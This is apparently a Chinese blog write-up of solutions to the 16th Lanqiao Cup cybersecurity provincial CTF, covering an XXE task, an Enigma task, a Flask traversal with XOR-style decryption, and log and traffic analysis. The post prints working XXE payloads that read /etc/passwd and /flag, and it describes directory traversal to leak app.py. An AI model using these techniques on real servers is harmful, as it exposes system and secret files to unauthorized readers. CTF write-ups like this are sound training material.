第十六届 蓝桥杯 网安赛道省赛wp

一、比赛详细

这比赛开两个录屏,OBS没注意开了录了4k,然后虚拟机开多了导致好卡好卡,本来第一道pwn签到题能做出来的,奈何它卡的不行,又不能关录屏最后赛后十多分钟就做出来了,归根揭底还是菜?

二、解题过程

题目序号 题目名称

漏洞挖掘分析 星际XML解析器

操作内容:

xml执行器:xxe

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE note [

 <!ENTITY admin SYSTEM "file:///etc/passwd">

 ]>

<user><username>&admin;</username><password>123</password></user>

发现读取成功

如该题使用自己编写的脚本代码请详细写出,不允许截图

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123</password></user>

flag值:

flag{932a5b90-f947-433a-9a47-86209dc27f38}

题目序号 题目名称

密码破解 Enigma

操作内容:

是个cyberchef,和去年的一样,在cyberchef一样的操作,然后吧output放进去就OK了

flag值:

flag{HELLOCTFERTHISISAMESSAGEFORYOU}

题目序号 题目名称

情报收集 黑客密室逃脱

操作内容:

得到:

拿到一个加密后的数据:d9d1c4d9e0ad90a395b295667064a5c8c4a892a8929b9da6946c9b70a098c9aac6ad97d0c7ac94689db4

接着点

发现新大陆

目录穿越尝试app得到是个flask那就常规app.py得到代码:

然后发现了

于是:解密密钥: secret_key2497

接分析代码:

def simple_encrypt(text, key):
  \# 使用简单的加密算法(例如异或加密)
  encrypted = bytearray()
  \# 进行加密
  for i in range(len(text)):
    \# 使用密钥字符与文本字符进行异或操作
    char = text[i]
    key_char = key[i % len(key)]
    \# 将字符转换为整数进行加密
    encrypted.append(ord(char) + ord(key_char))
  \# 返回加密后的字节串
  return encrypted.hex()

写脚本解密

如该题使用自己编写的脚本代码请详细写出,不允许截图

def simple_decrypt(encrypted_text, key):
    decrypted = bytearray()
    # 将十六进制字符串转换为字节串
    encrypted_bytes = bytes.fromhex(encrypted_text)
    for i in range(len(encrypted_bytes)):
        char = encrypted_bytes[i]
        key_char = key[i % len(key)]
        # 将字符转换为整数进行解密
        decrypted.append(char - ord(key_char))
    # 返回解密后的字符串
    return decrypted.decode('utf-8')
a=simple_decrypt("d9d1c4d9e0ad90a395b295667064a5c8c4a892a8929b9da6946c9b70a098c9aac6ad97d0c7ac94689db4","secret_key2497")
print(a)

flag值:

flag{91809c27-2ca6-4308-b8b9-3f8a98eb3b4d}

题目序号 题目名称

数据分析 flowzip

操作内容:

随波逐流一把梭

flag值:

flag{c6db63e6-6459-4e75-bb37-3aec5d2b947b}

题目序号 题目名称

数据分析 ezEvtx

操作内容:

排序以后得到:

flag值:

flag{confidential.docx}

上一篇 一个自动patch libc的小工具
下一篇 FRP 自动安装脚本
Keason

Keason管理员

flag{fkxqsVIVO50tmgbd}

本月创作热力图